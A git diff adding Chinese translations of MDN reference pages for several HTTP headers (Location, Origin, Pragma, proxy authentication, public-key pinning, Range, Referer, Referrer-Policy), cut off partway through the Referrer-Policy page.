100644 index 0000000000..e7a1fa39ba --- /dev/null +++ b/files/zh-cn/web/http/headers/location/index.html @@ -0,0 +1,82 @@ +--- +title: Location +slug: Web/HTTP/Headers/Location +tags: + - 响应首部 + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Location +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Location</code></strong> 首部指定的是需要将页面重新定向至的地址。一般在响应码为3xx的响应中才会有意义。</p> + +<p>发送新请求,获取Location指向的新页面所采用的方法与初始请求使用的方法以及重定向的类型相关:</p> + +<ul> + <li>{{HTTPStatus("303")}} (See Also) 始终引致请求使用 {{HTTPMethod("GET")}} 方法,而,而 {{HTTPStatus("307")}} (Temporary Redirect) 和 {{HTTPStatus("308")}} (Permanent Redirect) 则不转变初始请求中的所使用的方法;</li> + <li>{{HTTPStatus("301")}} (Permanent Redirect) 和 {{HTTPStatus("302")}} (Found) 在大多数情况下不会转变初始请求中的方法,不过一些比较早的用户代理可能会引发方法的变更(所以你基本上不知道这一点)。</li> +</ul> + +<p>状态码为上述之一的所有响应都会带有一个Location首部。</p> + +<p>除了重定向响应之外, 状态码为 {{HTTPHeader("201")}} (Created) 的消息也会带有Location首部。它指向的是新创建的资源的地址。</p> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Location" title="此页面仍未被本地化, 期待您的翻译!"><code>Location</code></a> 与 <code>Content-Location</code>是不同的,前者(<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Location" title="此页面仍未被本地化, 期待您的翻译!"><code>Location</code></a> )指定的是一个重定向请求的目的地址(或者新创建的文件的URL),而后者( <code>Content-Location</code>) 指向的是经过内容协商后的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而Content-Location对应的是要返回的实体。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Location: <url> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><url></dt> + <dd>相对地址(相对于要访问的URL)或绝对地址。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Location: /index.html</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Location", "7.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Location")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Location")}}</li> + <li>包含 <code>Location</code> 首部的响应状态码: {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}。</li> +</ul> diff --git a/files/zh-cn/web/http/headers/origin/index.html b/files/zh-cn/web/http/headers/origin/index.html new file mode 100644 index 0000000000..32b348b50b --- /dev/null +++ b/files/zh-cn/web/http/headers/origin/index.html @@ -0,0 +1,77 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +translation_of: Web/HTTP/Headers/Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>请求首部字段 <strong><code>Origin</code></strong> 指示了请求来自于哪个站点。该字段仅指示服务器名称,并不包含任何路径信息。该首部用于 {{Glossary("CORS")}} 请求或者 {{HTTPMethod("POST")}} 请求。除了不包含路径信息,该字段与 {{HTTPHeader("Referer")}} 首部字段相似。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Origin: "" +Origin: <scheme> "://" <host> [ ":" <port> ] +</pre> + +<p><code>有时候将该字段的值置空是有用的,例如,资源由一个 data URL 指定。</code></p> + +<h2 id="声明">声明</h2> + +<dl> + <dt><scheme></dt> + <dd>请求所使用的协议,通常是HTTP协议或者它的安全版本HTTPS协议。</dd> + <dt><host></dt> + <dd>服务器的域名或 IP 地址。</dd> + <dt><port> {{optional_inline}}</dt> + <dd>服务器正在监听的TCP 端口号。缺省为服务的默认端口(对于 HTTP 请求而言,默认端口为 80)。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Origin: https://developer.mozilla.org</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{RFC("6454", "Origin", "7")}}</td> + <td>The Web Origin Concept</td> + </tr> + <tr> + <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td> + <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/origin")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Referer")}}</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">同源策略</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/pragma/index.html b/files/zh-cn/web/http/headers/pragma/index.html new file mode 100644 index 0000000000..1aa4fe2f09 --- /dev/null +++ b/files/zh-cn/web/http/headers/pragma/index.html @@ -0,0 +1,79 @@ +--- +title: Pragma +slug: Web/HTTP/Headers/Pragma +tags: + - 缓存 + - 通用首部 + - 首部 +translation_of: Web/HTTP/Headers/Pragma +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Pragma</strong></code> 是一个在 HTTP/1.0 中规定的通用首部,这个首部的效果依赖于不同的实现,所以在“请求-响应”链中可能会有不同的效果。它用来向后兼容只支持 HTTP/1.0 协议的缓存服务器,那时候 HTTP/1.1 协议中的 Cache-Control 还没有出来。</p> + +<div class="note"> +<p><strong>注意:</strong>由于 Pragma 在 HTTP 响应中的行为没有确切规范,所以不能可靠替代 HTTP/1.1 中通用首部 Cache-Control,尽管在请求中,假如 Cache-Control 不存在的话,它的行为与 Cache-Control: no-cache 一致。建议只在需要兼容 HTTP/1.0 客户端的场合下应用 Pragma 首部。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}, but response behavior is not specified and thus implementation-specific.</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Pragma: no-cache +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>no-cache</dt> + <dd> + <p>与 Cache-Control: no-cache 效果一致。强制要求缓存服务器在返回缓存的版本之前将请求提交到源头服务器进行验证。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Pragma: no-cache</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234", "Pragma", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Pragma")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/proxy-authenticate/index.html b/files/zh-cn/web/http/headers/proxy-authenticate/index.html new file mode 100644 index 0000000000..64a46c2674 --- /dev/null +++ b/files/zh-cn/web/http/headers/proxy-authenticate/index.html @@ -0,0 +1,77 @@ +--- +title: Proxy-Authenticate +slug: Web/HTTP/Headers/Proxy-Authenticate +tags: + - 代理 + - 响应首部 + - 首部 +translation_of: Web/HTTP/Headers/Proxy-Authenticate +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP <strong><code>Proxy-Authenticate</code></strong> 是一个响应首部,指定了获取 {{Glossary("proxy server")}} (代理服务器)上的资源访问权限而采用的身份验证方式。代理服务器对请求进行验证,以便它进一步传递请求。</p> + +<p><code>Proxy-Authenticate </code>首部需要与 {{HTTPStatus("407")}} <code>Proxy Authentication Required 响应一起发送。</code></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Proxy-Authenticate: <type> realm=<realm> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">身份验证类型</a>。一个常见的类型是 <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"基本验证"。</a>IANA 机构维护了 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">一系列的身份验证机制</a>。</dd> + <dt>realm=<realm></dt> + <dd>对于被保护区域(即安全域)的描述。如果没有指定安全域,客户端通常用一个格式化的主机名来代替。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Proxy-Authenticate: Basic + +Proxy-Authenticate: Basic realm="Access to the internal site" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "Proxy-Authenticate", "4.3")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/proxy-authorization/index.html b/files/zh-cn/web/http/headers/proxy-authorization/index.html new file mode 100644 index 0000000000..f7dafee9a1 --- /dev/null +++ b/files/zh-cn/web/http/headers/proxy-authorization/index.html @@ -0,0 +1,81 @@ +--- +title: Proxy-Authorization +slug: Web/HTTP/Headers/Proxy-Authorization +tags: + - 请求首部 + - 身份验证 + - 首部 +translation_of: Web/HTTP/Headers/Proxy-Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Proxy-Authorization</code></strong> 是一个请求首部,其中包含了用户代理提供给代理服务器的用于身份验证的凭证。这个首部通常是在服务器返回了 {{HTTPStatus("407")}} <code>Proxy Authentication Required</code> 响应状态码及 {{HTTPHeader("Proxy-Authenticate")}} 首部后发送的。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Proxy-Authorization: <type> <credentials></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><type></dt> + <dd><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">身份验证类型</a>。一个常见的类型是 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"基本验证"。</a>IANA 机构维护了 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">一系列的身份验证机制</a>。</dd> + <dt><credentials></dt> + <dd>凭证的构成方式如下: + <ul> + <li>将用户名和密码用冒号拼接(aladdin:opensesame)。</li> + <li>将拼接生成的字符串使用 <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> 编码方式进行编码(YWxhZGRpbjpvcGVuc2VzYW1l)。</li> + </ul> + + <div class="note"> + <p><strong>注意:</strong> Base64 编码方式不是用来加密或者获取摘要的!这种方法的安全性相当于将凭证使用明文发送(base64 是一种可逆编码方式)。在使用基本身份验证方式的时候推荐与 HTTPS 搭配使用。</p> + </div> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Proxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "Proxy-Authorization", "4.4")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/public-key-pins-report-only/index.html b/files/zh-cn/web/http/headers/public-key-pins-report-only/index.html new file mode 100644 index 0000000000..178d501735 --- /dev/null +++ b/files/zh-cn/web/http/headers/public-key-pins-report-only/index.html @@ -0,0 +1,93 @@ +--- +title: Public-Key-Pins-Report-Only +slug: Web/HTTP/Headers/Public-Key-Pins-Report-Only +tags: + - HPKP + - HTTP + - 头部 + - 安全 +translation_of: Web/HTTP/Headers/Public-Key-Pins-Report-Only +--- +<div>HTTP响应头部<code><strong>Public-Key-Pins-Report-Only</strong></code>用于设置在公钥固定不匹配时,发送错误信息到<code>report-uri。</code> 但和{{HTTPHeader("Public-Key-Pins")}}不同的是,即便公钥固定异常, 其允许浏览器继续访问服务器。</div> + +<p> </p> + +<p>更多信息可以查看{{HTTPHeader("Public-Key-Pins")}}参考页面和<a href="/en-US/docs/Web/HTTP/Public_Key_Pinning">HTTP Public Key Pinning</a>文章</p> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Public-Key-Pins-Report-Only: pin-sha256="<pin-value>"; + max-age=<expire-time>; + includeSubDomains; + report-uri="<uri>"</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>pin-sha256="<pin-value>"</code></dt> + <dd>引号里面的是内容是以Base64编码的 {{Glossary("SPKI")}}(公钥) 指纹。你可以为多个不同的公钥都设定对应的pins。 一些浏览器将来可能也支持非SHA-256 的哈希算法。</dd> + <dt>max-age=<expire-time></dt> + <dd>该指令对 Public-Key-Pins-Report-Only无效,客户端会忽略也不会缓存此头部。</dd> + <dt> </dt> + <dt><code>includeSubDomains </code>{{optional_inline}}</dt> + <dd>如果该选项被指定,该规则也会应用到网站的所有子域名</dd> + <dt><code>report-uri="<uri>"</code></dt> +</dl> + +<p> 设置Pin验证失败报告的URL地址。这个指令应该和该头部一起使用,否则这个头部将是一个空操作。</p> + +<dl> + <dt> </dt> +</dl> + +<h2 id="例子">例子</h2> + +<pre>Public-Key-Pins-Report-Only: + pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; + pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; + includeSubDomains; + report-uri="https://www.example.org/hpkp-report"</pre> + +<p>在这个例子里面,<strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" </strong>固定了该服务器的公钥.。第二个声明<strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> 也固定了服务器的备用公钥。同时通过<strong>includeSubDomains</strong> 的声明使得该设置对所有子域名都生效。最后, <strong>report-uri="https://www.example.org/hpkp-report"</strong> 则是定义了在验证失败时将异常信息发送到该服务器。</p> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7469", "Public-Key-Pins-Report-Only", "2.1")}}</td> + <td>Public Key Pinning Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Public-Key-Pins-Report-Only")}}</p> + +<h2 id="更多">更多</h2> + +<ul> + <li>{{HTTPHeader("Public-Key-Pins")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/public-key-pins/index.html b/files/zh-cn/web/http/headers/public-key-pins/index.html new file mode 100644 index 0000000000..1956085818 --- /dev/null +++ b/files/zh-cn/web/http/headers/public-key-pins/index.html @@ -0,0 +1,89 @@ +--- +title: Public-Key-Pins +slug: Web/HTTP/Headers/Public-Key-Pins +tags: + - 中间人攻击 + - 公钥 + - 响应首部 + - 安全性 +translation_of: Web/HTTP/Headers/Public-Key-Pins +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Public-Key-Pins </strong></code>是一个响应首部,其包含该Web 服务器用来进行加密的 public {{glossary('key')}} (公钥)信息 ,以此来降低使用伪造证书进行 {{Glossary("MITM")}} (中间人攻击)的风险。如果锚定的加密串与服务器返回的公钥不匹配,那么浏览器将会认定响应不合法,并且不会将结果展示给用户。</p> + +<p>更多相关信息请参考 <a href="/en-US/docs/Web/HTTP/Public_Key_Pinning">HTTP Public Key Pinning</a> 这篇文章。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Public-Key-Pins: pin-sha256="<pin-value>"; + max-age=<expire-time>; + includeSubDomains; + report-uri="<uri>"</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>pin-sha256="<pin-value>"</code></dt> + <dd>引号里面的是内容是以Base64编码的 {{Glossary("SPKI")}}(公钥) 指纹.你可以为多个不同的公钥都设定对应的pins。 一些浏览器将来可能也支持非SHA-256 的哈希算法。</dd> + <dt>max-age=<expire-time></dt> + <dd>指定以秒为单位的时间,在这段时间内,浏览器应该记住, 该站点只能以这些指定的密钥进行访问</dd> + <dt><code>includeSubDomains </code>{{optional_inline}}</dt> + <dd>如果该选项被指定,该规则也会应用到网站的所有子域名</dd> + <dt><code>report-uri="<uri>"</code> {{optional_inline}}</dt> + <dd>如果该可选项被指定,一旦pin校验失败,就会发送此相关异常信息给该URL</dd> +</dl> + +<h2 id="示例">示例</h2> + +<div class="warning"> +<p id="HPKP_has_the_potential_to_lock_out_users_for_a_long_time_if_used_incorrectly!_The_use_of_backup_certificates_andor_pinning_the_CA_certificate_is_recommend.">如果设置不合理,HPKP可能会使得用户长时间不能访问网站。因此建议也同时固定备用证书或者CA证书。</p> +</div> + +<pre>Public-Key-Pins: + pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; + pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; + max-age=5184000; includeSubDomains; + report-uri="https://www.example.org/hpkp-report"</pre> + +<p>在这个例子里面,<strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" </strong>固定了该服务器的公钥. 第二个声明<strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> 也固定了服务器的备用公钥. <strong>max-age=5184000</strong> 则是让客户端(浏览器)将该固定扩展信息存储两个月, 这个是IETF RFC建议时间。同时通过<strong>includeSubDomains</strong> 的声明使得该设置对所有子域名都生效;最后, <strong>report-uri="https://www.example.org/hpkp-report"</strong> 则是定义了验证失败时异常信息发送的服务器地址。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7469", "Public-Key-Pins", "2.1")}}</td> + <td>Public Key Pinning Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Public-Key-Pins")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/range/index.html b/files/zh-cn/web/http/headers/range/index.html new file mode 100644 index 0000000000..94e10506d8 --- /dev/null +++ b/files/zh-cn/web/http/headers/range/index.html @@ -0,0 +1,83 @@ +--- +title: Range +slug: Web/HTTP/Headers/Range +tags: + - HTTP + - HTTP首部 + - 范围请求 + - 请求首部 +translation_of: Web/HTTP/Headers/Range +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>Range</code></strong> 是一个请求首部,告知服务器返回文件的哪一部分。在一个 <code>Range</code> 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 {{HTTPStatus("206")}} <code>Partial Content</code> 状态码。假如所请求的范围不合法,那么服务器会返回 {{HTTPStatus("416")}} <code>Range Not Satisfiable</code> 状态码,表示客户端错误。服务器允许忽略 <code>Range</code> 首部,从而返回整个文件,状态码用 {{HTTPStatus("200")}} 。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Range: <unit>=<range-start>- +Range: <unit>=<range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><unit></dt> + <dd>范围所采用的单位,通常是字节(bytes)。</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>一个整数,表示在特定单位下,范围的起始值。</dd> + <dt><range-end></dt> + <dd>一个整数,表示在特定单位下,范围的结束值。这个值是可选的,如果不存在,表示此范围一直延伸到文档结束。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Range: bytes=200-1000, 2000-6576, 19000- +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "Range", "3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Range")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/referer/index.html b/files/zh-cn/web/http/headers/referer/index.html new file mode 100644 index 0000000000..7aecd936e3 --- /dev/null +++ b/files/zh-cn/web/http/headers/referer/index.html @@ -0,0 +1,84 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +tags: + - 引用 + - 消息头 + - 请求头 +translation_of: Web/HTTP/Headers/Referer +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Referer</strong></code> 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 <code>Referer</code> 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。</p> + +<p>需要注意的是 referer 实际上是 "referrer" 误拼写。参见 {{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}} (HTTP referer 在维基百科上的条目)来获取更详细的信息。</p> + +<div class="warning"> +<p><code>Referer</code> 请求头可能暴露用户的浏览历史,涉及到用户的隐私问题。</p> +</div> + +<p>在以下两种情况下,<code>Referer</code> 不会被发送:</p> + +<ul> + <li>来源页面采用的协议为表示本地文件的 "file" 或者 "data" URI;</li> + <li> + <p>当前请求页面采用的是非安全协议,而来源页面采用的是安全协议(HTTPS)。</p> + </li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Referer: <url> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><url></dt> + <dd>当前页面被链接而至的前一页面的绝对路径或者相对路径。不包含 URL fragments (例如 "#section") 和 userinfo (例如 "https://username:password@example.com/foo/bar/" 中的 "username:password" )。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Referer", "5.5.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Referer")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/referrer-policy/index.html b/files/zh-cn/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..cf90261cd7 --- /dev/null +++ b/files/zh-cn/web/http/headers/referrer-policy/index.html @@ -0,0 +1,259 @@ +--- +title: Referrer-Policy +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - 响应 + - 请求头 + - 请求首部 + - 隐私 + - 首部 +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +<div><strong><code>Referrer-Policy</code></strong> 首部用来监管哪些访问来源信息——会在 {{HTTPHeader("Referer")}} 中发送——应该被包含在生成的请求当中。</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p>注意 {{HTTPHeader("Referer")}} 实际上是单词 "referrer" 的错误拼写。<code>Referrer-Policy</code> 这个首部并没有延续这个错误拼写。</p> + +<pre class="syntaxbox">Referrer-Policy: no-referrer +Referrer-Policy: no-referrer-when-downgrade +Referrer-Policy: origin +Referrer-Policy: origin-when-cross-origin +Referrer-Policy: same-origin +Referrer-Policy: strict-origin +Referrer-Policy: strict-origin-when-cross-origin +Referrer-Policy: unsafe-url +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>no-referrer</dt> + <dd>整个 {{HTTPHeader("Referer")}} 首部会被移除。访问来源信息不随着请求一起发送。</dd> + <dt>no-referrer-when-downgrade (默认值)</dt> + <dd>在没有指定任何策略的情况下用户代理的默认行为。在同等安全级别的情况下,引用页面的地址会被发送(HTTPS->HTTPS),但是在降级的情况下不会被发送 (HTTPS->HTTP)。</dd> + <dt>origin</dt> + <dd>在任何情况下,仅发送文件的源作为引用地址。例如 <code>https://example.com/page.html</code> 会将 <code>https://example.com/ 